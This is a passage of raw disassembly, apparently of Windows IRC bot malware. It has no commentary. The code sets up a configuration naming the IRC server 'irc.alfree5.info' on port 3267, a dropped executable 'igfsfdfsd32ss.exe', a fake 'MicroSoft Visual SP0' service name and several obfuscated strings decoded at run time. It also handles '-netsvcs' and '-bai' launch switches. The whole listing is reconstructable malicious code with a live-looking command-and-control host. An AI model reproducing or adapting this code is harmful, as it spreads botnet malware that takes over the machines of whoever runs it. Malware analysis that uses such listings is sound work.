cl, dl cmp dl, [esi+1] jnz short loc_406DEE add eax, 2 add esi, 2 test cl, cl jnz short loc_406DCA loc_406DEA: ; CODE XREF: ___:00406DD4j xor eax, eax jmp short loc_406DF3 ; --------------------------------------------------------------------------- loc_406DEE: ; CODE XREF: ___:00406DD0j ; ___:00406DDEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DF3: ; CODE XREF: ___:00406DECj test eax, eax jnz short loc_406E00 mov byte ptr [ebx+9], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: ___:00406DF5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406E07: ; CODE XREF: ___:00406E25j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E2B test cl, cl jz short loc_406E27 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E2B add eax, 2 add esi, 2 test cl, cl jnz short loc_406E07 loc_406E27: ; CODE XREF: ___:00406E11j xor eax, eax jmp short loc_406E30 ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: ___:00406E0Dj ; ___:00406E1Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E30: ; CODE XREF: ___:00406E29j test eax, eax jnz short loc_406E3D mov byte ptr [ebx+0Ah], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: ___:00406E32j mov esi, offset aBai ; "-bai" mov eax, edi loc_406E44: ; CODE XREF: ___:00406E62j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E68 test cl, cl jz short loc_406E64 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E68 add eax, 2 add esi, 2 test cl, cl jnz short loc_406E44 loc_406E64: ; CODE XREF: ___:00406E4Ej xor eax, eax jmp short loc_406E6D ; --------------------------------------------------------------------------- loc_406E68: ; CODE XREF: ___:00406E4Aj ; ___:00406E58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E6D: ; CODE XREF: ___:00406E66j test eax, eax jnz loc_406F58 lea ecx, [esp+10h] call sub_40142E mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 call near ptr 77C47C60h nop add esp, 8 test eax, eax jz loc_406F44 push eax lea ecx, [esp+14h] call sub_4015E1 push 1 push offset asc_444600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_448F40 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406F44 push 1 push offset asc_444600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_40168B push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406F44: ; CODE XREF: ___:00406EA1j ; ___:00406EF1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F58: ; CODE XREF: ___:00406DBDj ; ___:00406DFBj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D88 xor ecx, ecx loc_406F68: ; CODE XREF: ___:00406D7Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F75 mov [ebx+5], ecx loc_406F75: ; CODE XREF: ___:00406F70j cmp [ebx+5], ecx jnz short loc_406F85 test al, al jz short loc_406F85 mov dword ptr [ebx+5], 0Ah loc_406F85: ; CODE XREF: ___:00406F78j ; ___:00406F7Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_406FB0 db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407080 proc near ; CODE XREF: sub_4020BDj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407080 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_40156E sub_407080 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43F00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407100 proc near ; CODE XREF: sub_40159Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015E1 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014EC sub_407100 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407140 proc near ; CODE XREF: sub_401B04j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AD7 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40162C mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jz short loc_4071BB mov edi, [esp+10h+arg_0] loc_407183: ; CODE XREF: sub_407140+79j push edi lea ecx, [esp+14h+var_8] call sub_401749 mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_4071C5 call sub_401F28 lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jnz short loc_407183 loc_4071BB: ; CODE XREF: sub_407140+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_4071C5: ; CODE XREF: sub_407140+5Aj call sub_401749 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_407140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407210 proc near ; CODE XREF: sub_40221Bj xor al, al retn 4 sub_407210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407230 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_407230 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_40162Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401A96 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4021A8 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_407270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072B0 proc near ; CODE XREF: sub_4021DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4021A8 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4072B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4072E0 proc near ; CODE XREF: sub_4014ECj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021DF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_4072E0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407320 proc near ; CODE XREF: sub_401AD7j push esi mov esi, ecx call sub_401B77 mov eax, esi pop esi retn sub_407320 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_401749j mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_407340 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407360 proc near ; CODE XREF: sub_401F28j push esi mov esi, ecx mov eax, [esi] push eax call sub_401A96 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407390 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FBE neg al sbb eax, eax inc eax retn 4 sub_407390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4073C0 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C9E mov edi, eax push edi call sub_401C6C mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_4073C0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C6C push edi mov [eax], ebx call sub_401C6C mov edi, [eax] push edi call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_40167C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4021A8 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407460 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019D8 sub_407460 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407475 mov edi, esi loc_407475: ; CODE XREF: ___:00407471j push esi call sub_401A96 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40748A mov edi, esi loc_40748A: ; CODE XREF: ___:00407486j push esi call sub_401C6C add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074B0 proc near ; CODE XREF: sub_401A96j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4074B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074D0 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4074D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401B77j mov eax, ecx retn sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407510 proc near ; CODE XREF: sub_4021A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_407510 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_407540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407590 proc near ; CODE XREF: sub_4019D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_407590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_40167Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075F0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075F0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_401C9Ej mov eax, [ecx] retn sub_407610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407630 proc near ; CODE XREF: sub_401D2Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40763A xor eax, eax loc_40763A: ; CODE XREF: sub_407630+6j push eax call sub_437AEA sub_407630 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407660 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40767B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40767B: ; CODE XREF: sub_407660+11j retn sub_407660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076B0 proc near ; CODE XREF: sub_401B40j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076B0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017EE push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_44ACE6 call sub_401B72 sub_4076B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407740 proc near ; CODE XREF: sub_401CD5j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407740 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+20h+arg_4] call sub_4017EE push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_44ACE6 call sub_401B72 sub_407740 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4077E0 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4077E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_2C4] call sub_40142E lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_40142E lea ecx, [esp+35Ch+var_174] mov byte ptr [esp+35Ch+var_4], 1 call sub_40142E lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 2 call sub_40142E lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 3 call sub_40142E lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 4 call sub_40142E lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 5 call sub_40142E lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 6 call sub_40142E lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 7 call sub_40142E lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_40142E lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_40142E lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_40142E lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_40142E lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_40142E lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_40142E lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_40142E lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_40142E lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 10h call sub_40142E lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 11h call sub_40142E mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_18C] call sub_40142E lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 13h call sub_40142E lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 14h call sub_40142E lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 15h call sub_40142E lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 16h call sub_40142E lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 17h call sub_40142E lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 18h call sub_40142E lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 19h call sub_40142E lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_40142E lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_40142E lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_40142E lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_40142E mov ebx, 1Eh push offset aIrc_alfree5_in ; "irc.alfree5.info" lea ecx, [esp+360h+var_2C4] mov byte ptr [esp+360h+var_4], bl call sub_401A9B push offset a3267 ; "3267" lea ecx, [esp+360h+var_2DC] call sub_401A9B push offset byte_448F40 lea ecx, [esp+360h+var_144] call sub_401A9B lea eax, [esp+35Ch+var_2C4] lea ecx, [esp+35Ch+var_174] push eax call sub_40202C lea ecx, [esp+35Ch+var_2DC] push ecx lea ecx, [esp+360h+var_1A4] call sub_40202C push offset byte_448F40 lea ecx, [esp+360h+var_1BC] call sub_401A9B push offset aFor_0 ; "##for##" lea ecx, [esp+360h+var_2AC] call sub_401A9B push offset aFor ; "##for" lea ecx, [esp+360h+var_24C] call sub_401A9B push offset aXkey ; "Xkey" lea ecx, [esp+360h+var_2F4] call sub_401A9B push offset aIgfsfdfsd32ss_ ; "igfsfdfsd32ss.exe" lea ecx, [esp+360h+var_1D4] call sub_401A9B push offset aAyssds4ddklfsd ; "ayssds4ddklfsdfssas" lea ecx, [esp+360h+var_204] call sub_401A9B push offset asc_444834 ; "X-" lea ecx, [esp+360h+var_294] call sub_401A9B push offset aSet ; "set" lea ecx, [esp+360h+var_234] call sub_401A9B push 0 push 4Ah push 20h push 48h push 1Ch push 4Bh push 46h push 4Ah push 46h push 47h push 4Ch push 1Fh push 48h push 1Fh push ebx push 1Bh push 1Dh push 47h push 4Bh push 47h push ebx push 45h push 46h push 4Ah push 48h push ebx push 1Dh push 1Ch push 4Ah push 20h push 4Ch push 4Dh lea edx, [esp+3DCh+var_348] push 44h push edx call sub_4019C4 add esp, 88h push eax lea ecx, [esp+360h+var_264] mov byte ptr [esp+360h+var_4], 1Fh call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push offset aFeeling_nasty ; "feeling.nasty" lea ecx, [esp+360h+var_E4] call sub_401A9B push offset aEvil ; "evil" lea ecx, [esp+360h+var_15C] call sub_401A9B push offset aMicrosoftVisua ; "MicroSoft Visual SP0" lea ecx, [esp+360h+var_114] call sub_401A9B push offset dword_4447F8 lea ecx, [esp+360h+var_27C] call sub_401A9B push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019C4 add esp, 30h push eax lea ecx, [esp+360h+var_18C] mov byte ptr [esp+360h+var_4], 20h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 19h push 14h push 0Fh push 2 push 12h lea ecx, [esp+3ACh+var_348] push 13h push ecx call sub_4019C4 add esp, 58h push eax lea ecx, [esp+360h+var_1EC] mov byte ptr [esp+360h+var_4], 21h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 22h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019C4 add esp, 14h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 24h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 25h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 26h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019C4 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 27h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2F4] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh mov byte ptr [esp+39Ch+var_4], 28h push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 29h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401870 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 2Ah call sub_401CD5 sub_4077E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 2Bh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Dh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Eh call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh mov byte ptr [esp+39Ch], 31h push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 33h 